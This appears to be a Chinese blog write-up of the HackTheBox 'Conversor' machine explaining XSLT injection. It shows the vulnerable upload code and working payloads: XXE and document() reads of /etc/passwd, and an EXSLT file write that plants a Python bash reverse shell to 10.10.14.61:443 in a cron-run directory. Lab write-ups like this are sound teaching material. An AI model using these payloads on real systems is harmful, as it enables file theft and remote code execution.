Skip to content

1. 背景介绍

该技术是在HTB靶场中遇到的。

在题目中80端口上运行着一个web应用,其主要功能是将nmap扫描结果的xml文件通过xslt转换成更美观的html页面。通过分析web页面系下载的网站源码,存在XLST注入,核心转换代码:

python
@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

从源码中可以看到,使用xslt转换时直接使用了用户提供的xslt文件,而没有做任何的过滤。存在注入风险。

结合install.md文档中的描述,在/var/www/conversor.htb/目录下会有定时任务执行python脚本。本题利用思路是通过XLST注入向该目录写入反弹shell的python脚本,从而拿到初始化shell。具体的writeup已发布至知识星球。

下面我们来看看XSLT技术以及对应的注入攻击。

2. 什么是XSLT

相关资料

核心功能与特点

  • 格式转换:最常见的用途是将 XML 数据转换为浏览器可直接显示的 HTML/XHTML。它也可以转换为其他 XML 文档、纯文本、甚至 PDF 文档。
  • 内容重组:在转换过程中,你可以轻松地对元素进行排序、过滤(隐藏或显示特定内容)、增加新元素或修改属性,而不会改变原始的 XML 文件。
  • 依赖 XPath:XSLT 使用 XPath 语言在源 XML 文档中进行导航,通过“模板匹配”机制精准定位需要转换的节点。
  • 声明式编程:不同于 C++ 或 Java 等命令式语言,你只需要在 XSLT 样式表中定义“当遇到某个元素时该做什么”,剩下的处理逻辑由 XSLT 处理器自动完成

工作流程

  • 输入:包含数据的 XML 源文件。
  • 规则:定义了转换逻辑的 XSLT 样式表文件(其本身也是一个 XML 文档)。
  • 处理:XSLT 处理器(如 Saxon、Xalan 或浏览器内置引擎)将规则应用到源文件。
  • 输出:生成全新的结果树(如 HTML 网页)。

既然xslt是预定义好的转换模板,我们来看看xslt是如何定义的。把文档声明为 XSL 样式表的根元素是 xsl:stylesheetxsl:transform。两者是等效的。 根据 W3C 的 XSLT 标准,声明 XSL 样式表的正确方法是:

xml
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

或者

xml
<xsl:transform version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

以下是Conversor题目中给出的转换nmap结果的xslt文件

xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="html" indent="yes" />

  <xsl:template match="/">
    <html>
      <head>
        <title>Nmap Scan Results</title>
        <style>
          body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(120deg, #141E30, #243B55);
            color: #eee;
            margin: 0;
            padding: 0;
          }
          h1, h2, h3 {
            text-align: center;
            font-weight: 300;
          }
          .card {
            background: rgba(255, 255, 255, 0.05);
            margin: 30px auto;
            padding: 20px;
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.5);
            width: 80%;
          }
          table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
          }
          th, td {
            padding: 10px;
            text-align: center;
          }
          th {
            background: rgba(255,255,255,0.1);
            color: #ffcc70;
            font-weight: 600;
            border-bottom: 2px solid rgba(255,255,255,0.2);
          }
          tr:nth-child(even) {
            background: rgba(255,255,255,0.03);
          }
          tr:hover {
            background: rgba(255,255,255,0.1);
          }
          .open {
            color: #00ff99;
            font-weight: bold;
          }
          .closed {
            color: #ff5555;
            font-weight: bold;
          }
          .host-header {
            font-size: 20px;
            margin-bottom: 10px;
            color: #ffd369;
          }
          .ip {
            font-weight: bold;
            color: #00d4ff;
          }
        </style>
      </head>
      <body>
        <h1>Nmap Scan Report</h1>
        <h3><xsl:value-of select="nmaprun/@args"/></h3>

        <xsl:for-each select="nmaprun/host">
          <div class="card">
            <div class="host-header">
              Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
              <xsl:if test="hostnames/hostname/@name">
                (<xsl:value-of select="hostnames/hostname/@name"/>)
              </xsl:if>
            </div>
            <table>
              <tr>
                <th>Port</th>
                <th>Protocol</th>
                <th>Service</th>
                <th>State</th>
              </tr>
              <xsl:for-each select="ports/port">
                <tr>
                  <td><xsl:value-of select="@portid"/></td>
                  <td><xsl:value-of select="@protocol"/></td>
                  <td><xsl:value-of select="service/@name"/></td>
                  <td>
                    <xsl:attribute name="class">
                      <xsl:value-of select="state/@state"/>
                    </xsl:attribute>
                    <xsl:value-of select="state/@state"/>
                  </td>
                </tr>
              </xsl:for-each>
            </table>
          </div>
        </xsl:for-each>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

这里我们再结合xlm格式的nmap扫描结果就可以看出xslt是如何进行转换的了

xslt中两层for-each循环分别从nmaprun/host标签中提取Host、Port、protocol、service信息重新组织成html格式。

3. XSLT注入攻击

XSLT 注入(XSLT Injection)是一种类似于 SQL 注入的安全漏洞,主要发生在应用程序将未经校验的用户输入拼接到 XSLT 样式表中,或允许用户上传自定义 XSLT 文件进行 XML 转换时。

由于 XSLT 本身功能非常强大(支持读取外部文件、执行脚本或调用底层库),攻击者可以借此绕过安全限制。

参考资料:https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT Injection/

核心危害

  • 远程代码执行 (RCE):这是最严重的危害。某些 XSLT 处理器(如 Java 的 Xalan 或 .NET 的 System.Xml)允许在样式表中嵌入脚本(如 JavaScript, C#)或调用 Java/C# 类库。如果配置不当,攻击者可以直接在服务器上运行恶意命令。
  • 敏感信息泄露:利用 document() 函数或 XXE(XML 外部实体)技术,攻击者可以读取服务器上的本地文件(如 /etc/passwd 或配置文件)。
  • 内部网络扫描:攻击者可以利用服务器作为跳板,使用 XSLT 的网络请求功能探测内网开放的端口和内网资源。
  • 拒绝服务 (DoS):通过构造递归循环或处理极大的 XML 文档,耗尽服务器 CPU 或内存资源。

这篇文章中作者尝试了三种利用方式:

方式1: 通过xslt读取本地文件

利用XEE读取

xml
<?xml version="1.0"?>
<!DOCTYPE xsl:stylesheet [
  <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html><body><pre>&content;</pre></body></html>
  </xsl:template>
</xsl:stylesheet>

利用document读取

xml
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <body>
        <pre>
          <xsl:copy-of select="document('/etc/passwd')"/>
        </pre>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

方式2: 写文件 利用xslt的document函数写入python版本的shell

xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/static/test.py" method="text">
import os
os.system('bash -c "bash -i >%26 /dev/tcp/10.10.14.61/443 0>%261"')
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

或者利用burpsuite修改POST数据,来写入文件

相关漏洞

公众号

关注「极客零零七」

每周实战攻防干货 · HTB Writeup · 独家速查资料

  • 回复 提权 → Windows+Linux 提权速查 PDF
  • 回复 AD攻击 → AD 域渗透攻击手册
  • 回复 靶机 → HTB 靶机推荐清单
  • 回复 OSCP → OSCP 备考完整路线图
极客零零七 公众号二维码

扫码关注

⚠️ 内容仅供学习交流使用 | 本站访问量